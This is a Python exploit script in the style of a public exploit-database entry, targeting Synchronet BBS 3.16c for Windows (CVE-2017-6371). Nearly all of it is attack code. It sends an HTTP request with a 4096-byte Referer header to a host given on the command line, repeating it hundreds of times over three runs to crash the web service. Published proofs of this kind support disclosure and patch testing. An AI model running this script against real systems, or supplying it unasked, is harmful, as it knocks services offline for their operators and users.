# Exploit Title: Synchronet BBS 3.16c for Windows – Multiple vulnerabilities # Date: 2017-02-28 # Exploit Author: Peter Baris # Vendor Homepage: http://www.saptech-erp.com.au # Software Link: ftp://synchro.net/Synchronet/sbbs316c.zip # Version: 3.16c for Windows # Tested on: Windows 7 Pro SP1 x64, Windows Server 2008 R2 Standard x64 # CVE : CVE-2017-6371 import socket import time import sys try: host = sys.argv[1] port = 80 except IndexError: print "[+] Usage %s <host> " % sys.argv[0] sys.exit() exploit = "\x41"*4096 buffer = "GET /index.ssjs HTTP/1.1\r\n" buffer+= "Host: 192.168.198.129\r\n" buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n" buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\ r\n" buffer+="Accept-Language: en-US,en;q=0.5\r\n" buffer+="Accept-Encoding: gzip, deflate\r\n" buffer+="Referer: "+exploit+"\r\n" buffer+="Connection: keep-alive\r\n" buffer+="Content-Type: application/x-www-form-urlencoded\r\n" buffer+="Content-Length: 5900\r\n\r\n" i = 1 while i < 957: try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect((host,port)) print("[*] Try: "+str(i)) s.send(buffer) s.close() i=i+1 except: print("[-] The service seems to be down\r\n") break print("[i] Waiting a few seconds before starting a second attack.\r\n") time.sleep(25) print("[*] Second run to trigger the DoS") i = 1 while i < 957: try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect((host,port)) print("[*] Try: "+str(i)) s.send(buffer) s.close() i=i+1 except: print("[-] The service seems to be down.\r\n") break print("[i] Wait before the final strike.\r\n") time.sleep(25) print("[*] Third run to trigger the DoS") i = 1 while i < 957: try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect((host,port)) print("[*] Try: "+str(i)) s.send(buffer) s.close() i=i+1 except: print("[-] The service seems to be down.\r\n") print("[!] It can take a few seconds for the service to crash\r\n") break